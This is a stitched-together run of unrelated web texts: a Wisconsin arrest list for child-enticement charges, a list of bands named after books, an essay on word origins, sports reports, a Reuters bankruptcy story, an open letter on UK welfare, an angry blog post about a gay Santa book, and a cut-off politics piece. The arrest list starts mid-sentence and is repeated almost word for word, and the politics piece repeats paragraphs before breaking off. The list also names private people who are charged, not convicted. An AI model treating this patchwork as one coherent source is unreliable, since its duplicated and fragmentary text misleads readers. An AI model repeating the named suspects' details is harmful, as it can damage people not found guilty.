Mitchell was arrested by Wausau Police and charged with child enticement and use of a computer to facilitate a sex crime.  Marathon County deputies arrested 28-year-old Robert L. Spreeman, who is charged with child enticement and using a computer to facilitate a sex crime.  Outagamie County deputies arrested 18-year-old Maynard M. Dakota and have referred him for charges of child enticement and using a computer to facilitate a sex crime.  34-year-old Richard E. Denty was arrested by Shawano city and county law enforcement. He’s been charged with using a computer to facilitate a sex crime.Oshkosh Police apprehended 42-year-old Michael A. Fischer. He’s charged with child enticement and using a computer to facilitate a sex crime.  Nine of the arrests were in Door County. 50-year-old Frederick Fischer, 28-year-old Albert D. Ruleford, 48-year-old Randal A. Bunkelman from Allouez, 34-year-old Victor V. Iakimenko from Bellevue, 38-year-old Aaron D. Dobberfuhl from Bellevue, 38-year-old Jason S. Gehrke of Bellevue, 36-year-old Bryan J. Bathke from Ashwaubenon, 30-year-old Daniel R. Roggow from Bellevue, and 38-year-old James E. McHugh from Ashwaubenon all face similar charges. Bunkelman and Dobberfuhl also have charges of exposing their genitals to a child.  ARREST LIST:  21-year-old Pravong Colin Thongdara was arrested by Wausau Police and charged with child enticement and use of a computer to facilitate a sex crime. 39-year-old Brian A. Uttecht was arrested by Wausau Police and charged with soliciting for an adult prostitute. 23-year-old Shayd C. Mitchell was arrested by Wausau Police and charged with child enticement and use of a computer to facilitate a sex crime.  Marathon County deputies arrested 28-year-old Robert L. Spreeman, who is charged with child enticement and using a computer to facilitate a sex crime.  Outagamie County deputies arrested 18-year-old Maynard M. Dakota and have referred him for charges of child enticement and using a computer to facilitate a sex crime.  34-year-old Richard E. Denty was arrested by Shawano city and county law enforcement. He’s been charged with using a computer to facilitate a sex crime.Oshkosh Police apprehended 42-year-old Michael A. Fischer. He’s charged with child enticement and using a computer to facilitate a sex crime.  Nine of the arrests were in Door County. 50-year-old Frederick Fischer, 28-year-old Albert D. Ruleford, 48-year-old Randal A. Bunkelman from Allouez, 34-year-old Victor V. Iakimenko from Bellevue, 38-year-old Aaron D. Dobberfuhl from Bellevue, 38-year-old Jason S. Gehrke of Bellevue, 36-year-old Bryan J. Bathke from Ashwaubenon, 30-year-old Daniel R. Roggow from Bellevue, and 38-year-old James E. McHugh from Ashwaubenon all face similar charges. Bunkelman and Dobberfuhl also have charges of exposing their genitals to a child.  (The attached PDF has the Marathon County Sheriff's Department press release and the booking photos of all 16 suspects.)
-If there's one surefire way to add a sense of importance and artistic integrity to your band, it's to name your band after something you read in a book. Here are ten bands who took their names from literary works.  1. Steely Dan  One of my favorite things to do to classic rock fans is to explain where the name "Steely Dan" actually comes from. "Steely Dan" is a reference to William S. Burroughs' 1959 novel Naked Lunch, a book I'll admit to reading but not actually understanding. In Naked Lunch, "Steely Dan III from Yokohama" is a steam-powered dildo, which is not really something that comes to mind when listening to "Reelin' In The Years."  2. The Feelies  New Jersey jangle-pop band the Feelies took its name from Aldous Huxley's dystopian classic Brave New World, where "feelies" are movies that manipulate all of the senses, including touch. They're basically extreme versions of 3D movies.  3. The Doors  Just like the Feelies, the Doors also took its name from the work of writer Aldous Huxley, though the name actually originated with writer William Blake. Huxley's novel The Doors of Perception took its name from a quote in Blake's poem "The Marriage of Heaven and Hell."  4. Josef K  Though "Josef K" would imply the name of a solo artist, Josef K was actually an underappreciated post-punk band from Scotland during the late '70s and early '80s. The band's name comes from the main character of Franz Kafka's The Trial, whose last name is never revealed.  5. Gregor Samsa  Another band to take its name from the work of Franz Kafka is Virginia post-rock outfit Gregor Samsa, named for the protagonist in Kafka's The Metamorphosis, about a man who inexplicably turns into a beetle.  6. Modest Mouse  Modest Mouse may write intense and occasionally aggressive music, but the band's name often sounds like something a cute twee pop band would adopt. The term "modest mouse" actually derives from a Virginia Woolf passage from "The Mark On the Wall," about "modest, mouse-coloured people, who believe genuinely that they dislike to hear their own praises."  7. The Magnetic Fields  The music of indie pop band the Magnetic Fields may not delve into surrealism, but the band's name comes from the 1920 novel Les Champs Magnetiques, or The Magnetic Fields, written by Andre Breton and Philippe Soupault, which is considered to be the first work of surrealism in literature.  8. The Velvet Underground  "The Velvet Underground" has always been one of my favorite band names, but the band members didn't come up with the name themselves. The Velvet Underground is actually the title of a non-fiction book about bizarre sexual practices in the United States, published in 1963. This wasn't the only time the band would reference a sex-themed novel: the song "Venus is Furs" is named after a novel about sadomasochism.  9. The Fall  Though Mark E. Smith is generally considered to be the leader of the Fall, he wasn't responsible for the band's name. "The Fall" originated with original bassist Tony Friel, who took the name from Albert Camus' philosophical novel The Fall.  10. Burzum  Though countless metal bands have taken their names from the work of J.R.R. Tolkien (including Amon Amarth and Gorgoroth), the most notorious is Varg Vikernes' Burzum, whose name is taken from the Black Speech word for "darkness," as is revealed in The Lord of the Rings.  I know there are more, so what other bands have done this? Let us know in the comments section!
-Video  It is one of the world's most popular websites - a source of information on many things. But there is one area where Wikipedia - the online encyclopaedia - is severely lacking. That is entries about, and by, women.  It's something the organisation is trying to tackle and today they've teamed up with the BBC's 100 Women season to do something about it. Nuala McGovern has spent the day at a very special event.  What is 100 women?  BBC 100 Women names 100 influential and inspirational women around the world every year. We create documentaries, features and interviews about their lives, giving more space for stories that put women at the centre.  Other stories you might like:  Live updates:Women take over Wikipedia  How I got rich beating men at their own game  Who is on the BBC's 100 Women 2016 list?
-When I first saw someone tweet this across the timeline, I was sure it was a joke. I mean, why do we need to make Santa Claus gay? What purpose does this serve? Well, OK, I’m not that naive. There seems to be a concerted effort by mass media to push extremely mature content onto our children, often in the name of tolerance and/or diversity. Personally, I have no problems with people involved in homosexual behavior. I’m also in an interracial relationship myself, so I obviously have no qualms there, either. But what is wrong with a company who thinks pushing a gay Santa Claus onto children is a good idea?  This is simply insane. It might be the best example of our deteriorating society that I’ve seen so far this year.  IT’S SANTA FOR F*CK’S SAKE! WHAT IS WRONG WITH PEOPLE?  I just can’t get over this…  A new picture book will depict Santa as a gay man in an interracial relationship, publisher Harper Design confirmed Tuesday. The book, Santa’s Husband, goes on sale Oct. 10 and tells the story of a black Santa Claus and his white husband who both live in the North Pole. Santa’s spouse frequently fills in for his husband at malls, according to a description of the book Harper Design provided to TIME. Daniel Kibblesmith, who is a staff writer for The Late Show with Stephen Colbert and co-author of How to Win at Everything, penned the parody children’s book after tweeting in December that he would only tell his future child Santa was black. “If they see a white one, we’ll say ‘That’s his husband,’” Kibblesmith wrote… Harper Design said the book is meant for all ages.  Like hell it is. I’m incensed, so I can only imagine what the more religious and/or conservative among us must be thinking. Yes, I know it’s not Jesus, although feminists recently “aborted” him as well, so yea. We’re clearly headed in the right cultural direction. I can only imagine what these amazing talents will think of next? Perhaps a transgendered Easter Bunny?  Maybe I shouldn’t give them any ideas.
-CNET Smart Home Guide From connected light bulbs, to plant sensors, to smart locks, and beyond, smart home tech is growing and evolving rapidly. Here you'll find the latest product reviews, news, and how-tos to help you connect your surroundings to the internet in the smartest way possible. Read More  I'm on a mission, and that mission is to save on my power bill. I've already done the obvious stuff, like replace lightbulbs -- especially the 500W halogens floodlights I have outdoors -- with low-power LEDs, and I'm being more careful as to how I use heating and cooling. But along with making big changes, I've also been looking at just how much power all the random stuff I have plugged in uses.  A while back, I looked at how much power smartphone chargers consumed when there wasn't a smartphone attached to them. Now let's look at how much power it takes to charge a smartphone for a year.  Also: Best cheap phones: $300 (or much less) buys a great iPhone  Now, the proper way to do this test would be to measure the power consumption over a year. Well, I want results quicker than that, so I'd have to do shorter periods of real-world testing and extrapolate out the results, which shouldn't be a problem.  So, here's what I did rather than keep detailed charging note for a year, or find how much power it took just to charge the battery from 0 percent to 100 percent, and try to fudge that into some real-world figure. I replicated what most people do and put my smartphone on to charge overnight and measured the nightly power consumption.  Also: The first Android phone was an ugly thing, and I loved it CNET  I chose this method for two reasons:  It's a usage pattern that matches how many people use their device  It is more real-world, since when the device is on charge overnight, not only is power being used to charge the battery, but also to run the device (remember, your device is doing stuff in the background like checking email), so this goes beyond just measuring the power used to charge the battery  Power consumption was measured using a WattsUp? PRO power meter.  My test subject was the iPhone 6 Plus, which had the biggest battery that Apple offered at the time of my test. I'm also a pretty heavy user, and this meant that going all day was sometimes tricky (the things I do for you). This means that my results are going to be at the high-end, and that more restrained smartphone users are going to have a smaller power bill.  So here's what I found.  Also: 17 ways to recycle or sell your smartphone TechRepublic  During an overnight charge, the iPhone consumed an average of 19.2 Wh.  According to figures published by the US Energy Information Administration for July 2018 (the latest figures currently avaialble), the average cost per kWh in the US was $0.13.  Remember that 1 kWh equals 1,000 Wh.  So, take our average of 19.2 Wh per day, multiplying that by 365 days, we get 7 kWh, which works out at $0.91 a year.  So if you guess under a dollar, well done.  Previous and related coverage:  Want a new iPhone or Android smartphone? Here's how to sell or trade  The new Samsung Galaxy Note 9 was just announced and we expect three new iPhones and two Google Pixel phones to launch soon. Now is the time to consider selling your current one before market prices drop or plan to participate in a trade-in program.  10 best smartphones of 2018  he major smartphone launch season is upon us and one of the first out of the gates is the Samsung Galaxy Note 9, immediately taking over the top spot in our list of best smartphones.  Best Wearable Tech for 2018 CNET  Our editors hand-picked these products based on our tests and reviews. If you use our links to buy, we may get a commission.  The best tablets for 2018: Our top picks TechRepublic  Tablet sales may be declining, but there are still plenty of viable use cases and many models to choose from. Here's our pick of the best.  Related stories:
-According to myths, the Ancients discovered a botanical species; a kind of reed that was capable of resonating a sound frequency when touched. The Ancients harvested these reeds and created a meditative and spiritual garden.  Quite by accident, the Ancients also discovered a symbiotic creature to the reeds; which they named the Pentapuss. The Pentapuss has the same form and biological structure as the reeds, and fed off the soundwaves made by the reeds. In doing so, their movements amongst the reeds nurtured the growth of the reeds to maturity.  So opens the first chapter of The {Lost} Garden of Sundarya Lahari, which is also the name of the first part of Xineohp Guisse’s interactive environment, located at LEA13, and part of the 6th round of Artist In Residence installations for the first half of 2014. The story goes on:  The Ancients built BioPods and BioSpheres; to nurture these reeds and the young, juvenile pentapussies. They built contemplative Elemental pods at the Chamber of the Ancients, to observe these creatures and plants. They built a music chamber, where they can physically interact with the reeds……  In time, the garden grew to become a beautiful space – to contemplate and be as one with the beings that surrounds them.  As you might expect, given the story, this is a place where you’ll need to have sound on – though not media enabled – in order to fully experience this city-like garden with its tall structures and musical chambers. The music, produced by Xineohp plucking the strings of a cello, can initially sound random and tonal (and at times faintly memorable of a guzheng); however, when walking through the interactive chamber, it is possible to produce something more melodic and soothing.  This is only the first chapter in what promises to be an unfolding story (and environment) which will be added to each month. As such, it is doubtless one you’ll want to return to as it progresses. I know I will.  Oh, and don’t forget to pick up a copy of the book at the arrival chamber.  Related Links  Advertisements
-BOSTON — They’ve been there every step of the way for Clarke MacArthur.  From tying his skates as a kid growing up in Lloydminster, Alta., to driving him to the rink early on Saturday mornings and sending him off to play Bantam AAA as a 15-year-old in Edmonton, they’ve enjoyed his highlights and they’ve been there to lean on during what has been a tough couple of years for the Ottawa Senators’ winger.  Maybe that was why being at Canadian Tire Centre on Saturday for a playoff game against the Boston Bruins was so special for parents Dean and Deb MacArthur because, after everything Clarke has been through with wife Jessica and their young family, everybody was fortunate they were there to witness Clarke’s first National Hockey League goal since April 19, 2015.  Sitting with Dion Phaneuf’s parents, Paul and Amber, and Cody Ceci’s family, MacArthur’s family members joined in an exchange of high-fives after MacArthur scored the Senators’ first goal of the game they would eventually win 4-3 in overtime.  “That was a great goal. We were very excited,” Dean MacArthur said Saturday night, before he and Deb made the trek back to Lloydminster on Sunday. “We were holding (tears) back for sure. We were just happy. He said to Deb and I the other day, ‘I need to see if I can score now.’ ”  The past two years haven’t been easy on the MacArthurs. Clarke worked all summer to get back to playing, but received another concussion during training camp. After he failed a baseline test in January, it was decided that he wouldn’t play at all this season.  “It’s a big relief for Deb and I (to see Clarke playing),” Dean MacArthur added. “He’s always been a battler and he’s always wanted to play this game as long as he could. There have been ups and downs for the last (18 months), but, when he failed his baseline test in January, he was devastated.  “He said, ‘Maybe I can’t get back.’ And I said, ‘You know what? Let’s just take a break here, think about things,’ and then his health started to come around. When he wanted to play before the end of the year, ‘I told him, ‘You’re a battler and it would be really great if you could play, but it will be a big disappointment if you can’t.’ That’s the risk he wanted to take, but, if you don’t take risks in this world, you’ll never find out where you’re at.”  Let’s face it, Clarke MacArthur could have walked away after doctors told him in January that he wasn’t going to play this season. Nobody would have faulted him if he decided retirement was his best option.  “He was always very skilled guy with a lot of heart and passion for this game,” Dean MacArthur said. “If you don’t have those two things, the passion and the drive, you’ll never make it. It doesn’t matter how good you are. There’s lots of guys with better skills than him who were first-round picks that don’t finish the journey because they don’t have that real passion for the game.  “If you’re not willing to give up everything to play the game and take some risks and some chances, you’ll never accomplish what you want. You’ll get sidetracked. It’s been a journey and it’s been tough on Jessica and his kids — the not knowing — but I think he’s fine, I really do as far as his physical well-being.”  Just before Clarke returned to the Senators’ lineup for the first time since Oct. 14, 2015, for an April 4 home game against the Detroit Red Wings, he called his parents at 4 p.m. ET to let them know he’d been told to come to the rink to take part in the warmup, and suddenly there he was back on the ice.  “When they interviewed him on TV on the first night, after the first game, oh God, Deb and I were in tears,” Dean said. “Not only would he come back, but can he survive? Those were always questions in our own mind. We never doubted him for a minute.”  Of course, the MacArthurs questioned, just like everybody else did, whether their son would ever get another chance to pull on that No. 16 Senators jersey again.  “We wondered in January after the baseline test,” Dean said. “We thought, you know what, maybe this is going to be over and maybe this journey is done now and we’ll turn to the next chapter.  “Deb was always really good at motivating him and saying, ‘You’re not going to be happy unless you’re flying with hair on fire at Mach 1, so don’t give up yet and see what happens with your health.’ We never pushed him. We knew he had the drive in him. When he went and took those three weeks in Florida (in January), he said, ‘Dad, I just can’t retire. I just can’t not play the game again.’ ”  Focus just on playing now  All Clarke MacArthur wants to do now is focus on playing.  The emotions of the first game back and the first goal are out of the way for the Senators’ winger, so he hopes he can be a regular contributor.  “Emotionally it’s tough because you get so amped up when things happen,” he said Sunday in Boston. “It can drain you. I was able to get back, and that was great, and I was able to get a goal in a big win we had.  “For me, the emotions will calm down now. Now, you want to use the energy you have on the ice.”  bgarrioch@postmedia.com  Twitter: @sungarrioch
-Every word conceals a story, a secret history. Behind the syllables we use every day lurk countless forgotten tales. “If you know the origin of a word”, the 6th Century scholar Isidore of Seville insisted, “everything can be more clearly comprehended”. While most words slip into currency inconspicuously and without leaving traceable trails of their journeys, there is an elite class of verbal inventions whose exact dates of initial utterance have indeed been carefully recorded.  Some of these words are the one-off brainchildren of individuals who have long faded into the fog of history. Others are the concoctions of cultural pioneers who deliberately set out to shape the way future generations think and speak. In every instance what is remarkable is how the unlocking of a word’s biography helps us unlock both the biography of the individual who coined it as well as the age in which he or she lived. What follows are eight intriguing coinages that have altered the way we think about, see, hear, discover, and exist in the world around us:  Twitter  Social media would certainly be a less cheerful place without Twitter’s chirpy logo: that powder-blue profile of a floating bird forever frozen in mid warble. But who first had the phonic imagination to fashion an onomatopoetic compromise between the language of feathers and the language of men? ‘Twitter’ (or ‘twiterith’ as it was initially crafted in the second half of the 14th century), first trilled from the quill of Geoffrey Chaucer in his translation of Consolation of Philosophyby the 6th Century philosopher Boethius. Predating both ‘chirp’ and ‘warble’ by a century, ‘twitter’ is one of over 2,200 words for which the Medieval poet is credited with having inked an inaugural usage. That it’s the same author who wrote the poem The Parlement of Foules seems entirely appropriate.  Serendipity  Before 1754, if someone had wanted to express ‘the fortuitous discovery of something by chance’, he or she would have had to dip his or her nib more than a few times to eke out the full slog of such a cumbersome sentiment. Then presto, on Tuesday 28 January, the English writer Horace Walpole, while composing a letter, gifted to the world that rather peppy prance of syllables: ‘serendipity’. Walpole said he based his lyrical invention on a Persian fairy tale, The Three Princes of Serendip, whose protagonists, he insisted, “were always making discoveries, by accidents and sagacity”. That Walpole misremembered the actual gist of the tale (in fact the princes fail to find what they were looking for despite painstaking attempts) hardly matters; ‘serendipity’ is here to stay – a happy accident indeed. It’s not Walpole’s only quirky coinage. ‘Betweenity’, a word far more charming than its better-known synonym, ‘intermediateness’, deserves the same affection that its sibiling ‘serendipity’ has enjoyed.  Panorama  Some words seem to vibrate with the very spirit of the meaning they denote. “Panorama” is one of these; its very rhythm seems in harmony with the wide, mountain-top vistas, boundless horizons, and unblinkered breadth of vision for which it stands. That the word (which literally means ‘all-seeing’) should have entered the world’s lexicon around 1789, a year synonymous with the collapse of that notorious cultural enclosure, Paris’s prison-fortress the Bastille, seems entirely appropriate to panorama’s emancipating vibe. How ironic, then, to discover that the word was initially attached to an entirely confined experience: a cylindrical painting that imprisons its audience – an indoor visual contraption devised by the Irish artist Robert Barker.  Visualise  It’s hard to believe that no one had ever ‘visualised’ anything before 1817, but that’s the year the Romantic poet and critic Samuel Taylor Coleridge coined the word in his philosophical confession Biographia Literaria (a full century before the word ‘envision’ was minted). In retrospect it seems fitting that a writer whose mind’s eye was haunted by such phantasmic visions as the spectral ship in his poem The Rime of the Ancient Mariner, and by the “flashing eyes” and “floating hair” that unsettle the ending of his prophetic lyric Kubla Khan, should be the one to give a name to the seeing of the unseeable. Tortured throughout his life by both material and immaterial substances alike, Coleridge is unsurprisingly responsible for introducing into English other words for describing the darker aspects of experience, such as ‘psychosomatic’ and ‘pessimism’.  Intellectualise  Coleridge is frequently given credit too for devising a related verb: to ‘intellectualise’, meaning to transform a physical object into a property of the mind. While he certainly deserves credit for coining a term that suggests the very opposite – the underused ‘thingify’ (which means to turn a thought into an object) – in fact ‘intellectualise’ probably belongs to an obscure contemporary and inspiration of the Romantic poet: a mysterious 18th-Century traveller known by the curious nickname ‘Walking Stewart’ for his celebrated feat of having wandered over a greater portion of the known world than anyone before him. In his decades of rambling over India, Africa and Europe, Stewart developed an eccentric philosophy that centred on the notion that mind and body were in constant flux between a world that is ceaselessly intellectualised and a spirit that is endlessly thingified.  Bureaucracy  The hobo narrator of Harry McClintock’s 1928 song Big Rock Candy Mountain dreams of reaching a carefree paradise where “they hung the jerk who invented work”. While history may not remember the name of that particular “jerk”, we do know who the identity of the French economist who invented a word for something almost as tiresome”: ‘bureaucracy’. In 1818, Jean Claude Marie Vincent de Gournay tethered the French word for desk (bureau) to the Greek suffix that means ‘the power of’ (-cracy) and gave a name to the red tape that was beginning to strangle society. Having coined a word for the governmental processes that impose tedious rules on individual behaviour, Gournay might seem the last person we’d expect to give birth to a term that means “let people do as they think best”: laissez-faire.  Photograph  Strange to think that some of the most seemingly stable names we attach to the objects around us were embraced only gradually and by a process of elimination. The English astronomer and inventor Sir John Herschel’s proposal of the word ‘photograph’ in 1839 had to see off rival coinages before becoming fixed permanently in the world’s vocabulary. Had history taken another path, your gran might be admonishing you for not sending enough ‘sun-prints’ or ‘photogenes’. One competitor, heliograph, which predated ‘photograph’ by a generation, gave Herschel’s suggestion a serious run for its money.  Muggle  Men, needless to say, are not, as a gender, uniquely skilled at coining compelling words, however uncelebrated female neologists have been. With their contributions to culture frequently marginalised, is there any wonder that we find that the Oxford English Dictionary attributes to female writers the first usage of such words as ‘outsider’ (to Jane Austen in 1800) and ‘angst’ (imported from German by George Eliot in 1849). In our own age, it has once again fallen to a female novelist to define who is endowed with the powers of the initiated and those left wanting of wizardry ways. J K Rowling’s coining of ‘muggle’ in her 1997 book Harry Potter and the Philosopher’s Stone to describe mortals bereft of supernatural skill, reminds of the perennial magic of words – those who have it and those who don’t.  If you would like to comment on this story or anything else you have seen on BBC Culture, head over to our Facebook page or message us on Twitter.  And if you liked this story, sign up for the weekly bbc.com features newsletter, called “If You Only Read 6 Things This Week”. A handpicked selection of stories from BBC Future, Earth, Culture, Capital, Travel and Autos, delivered to your inbox every Friday.
-(Adds details from court records in paragraphs 2-5)  By Tom Hals  Jan 17 (Reuters) - Specialty chemicals maker Freedom Industries Inc filed for Chapter 11 bankruptcy on Friday, eight days after a leak from one of the company's storage tanks contaminated drinking water for hundreds of thousands of West Virginia residents.  A chemical used to process coal spilled into the Elk River in Charleston last week, prompting the state's governor to declare a state of emergency and ban the use of drinking water. More than 200 people have visited emergency rooms with nausea.  As a result of the leak, vendors have demanded Freedom pay in cash, draining the company of financing and prompting it to seek bankruptcy, according to documents filed in the U.S. Bankruptcy Court in Charleston, West Virginia.  "Likewise, the defense of the numerous suits filed against the debtor will exhaust the debtor's liquidity," Freedom said in a court filing. The bankruptcy filing will put a stay on more than 20 lawsuits filed against the company over the spill.  The company filed an emergency motion seeking court authority to borrow an initial $4 million from WV Funding LLC.  The company estimated it had up to $10 million in both assets and liabilities, according to the filings.  The case is In re Freedom Industries Inc, U.S. Bankruptcy Court, Southern District of West Virginia, No. 14-20017 (Reporting by Tom Hals in Wilmington, Delaware; Editing by David Gregorio and Jonathan Oatis)  Our Standards: The Thomson Reuters Trust Principles.
-An open letter to the new Work and Pensions Secretary.  Anthony Painter Blocked Unblock Follow Following Mar 19, 2016  Dear Stephen,  Congratulations on your appointment. You have the most important job in the Government after the Chancellor. In your hands is the future of work and the basic relationship between the state and us citizens. In a time of anticipated change in our economy, society and the state institutions that relate to these, you are in a pivotal role.  Too often on the Conservative side of politics, changes are made that display a failure to understand or empathise with the lives that people actually lead. This is often interpreted as cruelty but that is wrong in my view. It’s more often a lack of direct experience. That is not a handicap you have. You understand how poverty can be a struggle; how despair can set in but also how, with the right support, things can be turned around. That insight is your most powerful weapon as you seek to address serious flaws in the policies of the department you inherit.  Let’s be generous to your predecessor. I don’t doubt that his reforms were embarked upon with the most compassionate of intentions. But he’s left a mess.  He tried to simplify welfare but made it even more complex and bureaucratic. He saw work as the pathway out of poverty but then created a capricious system of conditionality and sanctions, the impact of which has yet to be fully understood. When we do have the full analysis at our disposal – beyond the simple measure of the employment rate – the impacts will be fairly shocking (foodbanks are the tip of the iceberg). Officials will tell you that the Universal Credit is working. Pilots almost always do. But it really isn’t- it is a costly mistake that is very little improvement on an already highly flawed and perverse tax credits system. Nowhere is the bureaucracy more intrusive, arbitrary and error-prone than in support for those who are disabled. These ‘errors’ cause misery and even cost lives. That can’t be right in any decent and compassionate society.  The big mistake your predecessor made was in designing a state bureaucracy around the small minority of people who abuse the system. That’s why we’ve ended up with this complex, unjust and costly nightmare.  I really hope you use the next few months to take a pause and then a big step back on the entire direction of these policies. The Prime Minister and your colleague at the Ministry of Justice have done so with prisons policy. Your colleague, the Chancellor of the Exchequer, is introducing a much higher minimum wage and the apprenticeship levy. These are all radical and encouraging policy initiatives. So there is space to chart a different course. Yes, welfare policy has supported higher employment. No, this is not sufficient in and of itself- families need stability, the ability to improve their skills and networks, and a sense of agency and control over their lives too. The current system too often undermines these wider policy goals.  You wouldn’t expect me to finish any letter to a Secretary of State for Work and Pensions without mentioning Basic Income. I hope you find some time to glance at the idea (our work at the RSA on this is summarised in a short blog). I know it may seem a little far out but it’s doable. If you really want a compassionate and simple system then Basic Income warrants some serious consideration. There’s still more work to do on putting together an implementable system but that can be done in the form of a major pilot – ‘experimental government’ as it’s called. Canada, the Netherlands and Finland are all looking at this.  I honestly believe that Basic Income is entirely compatible with Conservative principles – it supports work, provides support to families, and helps improve social mobility more than any other comparable system. It is invested in responsible freedom. It may seem counter-intuitive but it is worth giving some thought. Many great Conservative social reformers from Peel to MacMillan to one or two of your colleagues have done the counter-intuitive to meet the needs of the time. The future of work and social support needs a similar effort.  Good luck with it all. You have a chance to make history. Don’t throw that chance away on perpetuating the current failing system.  Yours,  Anthony
-CINCINNATI — When Jimmy Harston erected a massive “HELL IS REAL” sign alongside Interstate-71 over 25 years ago, his intentions were to warn every passerby of eternal doom.  Ohio soccer supporters interpreted it differently.  The “HELL IS REAL Derby” seemed a perfect name for Columbus Crew SC and FC Cincinnati: playful and innocent. The two teams playing 110 miles apart were more like siblings than real, legitimate rivals. After all, they play in different leagues and therefore would likely never play each other.  Until Wednesday.  FC Cincinnati was created in August 2015 with the promise of offering “first-class” soccer to Cincinnati, a city where any previous soccer teams failed, semi-professional or not.  But after the United Soccer League side drew more than 14,000 fans to its first match in a league that averaged less than 3,400, Cincinnati had to be taken with at least some seriousness.  Matthew Long is just one example of a former Columbus season-ticket holder who either felt ostracized or tired of the four-hour round trips to home games. When FC Cincinnati was announced, he signed up for season tickets immediately. Once matches arrived, he called the atmospheres incomparable.  “You were just blown away,” Long said of his first match in Nippert. “The physical environment is such a close one, you never had that at Crew Stadium. … We play in the Taj Mahal of USL. You have to recognize that.”  Columbus couldn’t ignore the fact that, by the end of the 2016 season, Cincinnati already had a higher league average attendance (and still does).  And that’s what made Wednesday night’s inaugural “HELL IS REAL Derby” authentic.  The beauty of cup soccer is that anything can happen in one game - Cincinnati manager Alan Koch  Had the teams played in Columbus in 2016 in the fourth round of the Lamar Hunt U.S. Open Cup, Crew SC would’ve played the match at a local college soccer stadium, likely with reserves. That never happened — FC Cincinnati lost in the preceding round.  So when Cincinnati beat its league rival Louisville City FC last month to earn hosting rights with Columbus, FC Cincinnati took a typical fourth-round cup match and made it into the biggest soccer game in city history.  Eyeing a spot as one of Major League Soccer’s next expansion locations, Cincinnati saw the opportunity as a rough draft for a potential future league fixture. Special shirts and scarves were made, ambitious marketing strategies were rolled out and the club, while not officially recognizing the supporters’ rivalry name, mysteriously began adding fire emojis to social media posts.  Strong side, weak result  All of this made Columbus uncomfortable, and probably, annoyed.  SCOTT FRENCH The anti-Galaxy: How LAFC is uniting the disenfranchised masses  Had Crew SC played almost anyone else, the match’s importance would’ve been low, if not irrelevant altogether. That’s the U.S. Open Cup, a 100-plus-year-old knockout tournament which parallels England’s FA Cup -- except that the U.S. version gets very little coverage.  Even the Seattle Sounders treated their cup clash with rival Portland Timbers FC as secondary. Nine players from the S2 USL side were called up for first team action in a stadium capacity of only 4,000.  Columbus wasn’t so lucky. Instead, in an effort to quell its southern noisy neighbors, Crew SC manager Gregg Berhalter deployed an almost full-strength roster, starting roughly eight regulars. He wanted to send a message, which ultimately backfired.  Before 30,160 spectators at Nippert Stadium on Wednesday night, FC Cincinnati upset Columbus Crew SC 1-0, playing to an attendance 10,000 higher than the previous fourth-round record. The impressive crowd wouldn’t fit in Columbus’ Mapfre Stadium, and came within 1,000 people of the first-tier side’s all-time highest home attendance.  “The beauty of cup soccer is that anything can happen in one game,” Cincinnati manager Alan Koch said.  And it did. FC Cincinnati’s triumphant win over its intrastate rival didn’t secure MLS expansion, but it showed the seriousness the city has toward soccer that, at least currently, is more fanatical than Columbus’ league-worst average attendance (13,050).  Brett Hansbauer / FC Cincinnati  Barring a few banners stretched across the upper deck bleachers, Nippert Stadium was packed with blue and orange, pinning the away supporters into a corner of the ground.  The Bailey, FC Cincinnati’s main supporters section, released all its best tricks, from blue and orange smoke meant to resemble fire in pre-match festivities, to unveiling a massive “HELL IS REAL” banner after full time, as Crew SC supporters stood shocked nearby. A few away fans were so frustrated that some were allegedly escorted from the stadium after jawing at players and their manager.  The aftermath  After the match, Crew SC players refused to call it a rivalry. Goalkeeper Brad Stuver, who watched Djiby Fall’s 64th-minute looping header drop near his left post, simply said it was a good attendance for a midweek match.  Embedded video for 'HELL IS REAL,' and so is FC Cincinnati's threat to Columbus  Crew midfielder Wil Trapp, who was eating a steak salad during his interview, dropped a piece of meat from his mouth when he was reminded that his team, which for two decades dominated the Ohio soccer landscape, was just unraveled by a second-tier side which didn’t exist two years before.  Berhalter, who fully admitted his better team couldn’t splinter Cincinnati’s backline, praised the atmosphere. “This is what makes soccer special,” he said.  And the upset is what makes the HELL IS REAL Derby, well, real.  When Djiby scored in front of The Bailey, he trotted to the corner, fell to the turf and wept. Meanwhile, The Bailey replicated scenes from a great derby match anywhere in the world. Rather than simply celebrating the goal, supporters openly celebrated scoring against Columbus. Fans in blue and orange turned toward the petrified yellow-and-black patch, pointing fingers and mocking the big brother club that, for the first time, finally looked small.  Smoke filled the air and the stadium shook, with arms flowing like waves as supporters relished the biggest moment in their club’s short history. For a team created from scratch with a cringe-worthy advertisement, nothing was artificial about the celebrations. There was a sense of belonging that could be mistaken for an organic fandom passed down through generations. FC Cincinnati’s pride in its fans, and the the supporters’ pride in their club, was pure, passionate love — with or without MLS approval.  STEVE DAVIS Energy around new markets leaves MLS' old guard playing catch up  In a competition discredited for pairing cup fixtures based on geographical proximity, FC Cincinnati offered an experience that would have been entirely different had the match not conveniently occurred between the two clubs and in Cincinnati.  The Seattle-Portland rivalry might be the most coveted in American soccer, but this week showed two Midwestern clubs could have just as much fun.  The difference, though, is, even if only for one night, Columbus and Cincinnati cemented that the HELL IS REAL Derby was more real than any pre-match speculation ever suggested.  There’s no guarantee the fixture will ever happen again. Cincinnati, at least for now, is still in the USL. On Monday night, the club revealed new stadium plans, a last-ditch move to get an MLS team in the city. The match two days later proved if that happened, there’s certainly genuine interest.  Sadly for Harston, moving forward, his sign will recall not so much a spiritual tent revival as a smoke-and-soccer spectacle that would’ve made Mick Jagger smile. Maybe that’s for the benefit of everyone.
-“I think Democrats don’t know how to deal with this level of racial animus,” said Derrick Johnson, the newly elected president of the NAACP, the country’s oldest civil rights organization. “They may object to it, but they don’t know how to react effectively,” he added.  And Democrats don’t want any part of it. When it comes to the culture war, most Democrats would rather fight Republicans on policy than on Trump’s racially fraught ground. But some black and Latino leaders are warning Democrats that the current approach — talking around race rather than confronting it head-on — is further demoralizing people of color, who are usually loyal Democratic voters but did not turn out in 2016 at the level they did in 2012.  Trump’s formidable fusion of white identity politics and economic populism — a combination that has powered politicians throughout American history, from Andrew Jackson to William Jennings Bryan — shows early signs of dominating Republican messaging in 2018.  Republicans across the country are increasingly following the president’s lead and picking fights over Confederate monuments, NFL player protests, Muslims, undocumented immigrants, and preaching law and order — opting to rally the party’s mostly white base more brazenly than the subtle racist dog whistles of the past.  Read more  Donald Trump’s “culture war” army is growing.  Republicans across the country are increasingly following the president’s lead and picking fights over Confederate monuments, NFL player protests, Muslims, undocumented immigrants, and preaching law and order — opting to rally the party’s mostly white base more brazenly than the subtle racist dog whistles of the past.  Trump’s formidable fusion of white identity politics and economic populism — a combination that has powered politicians 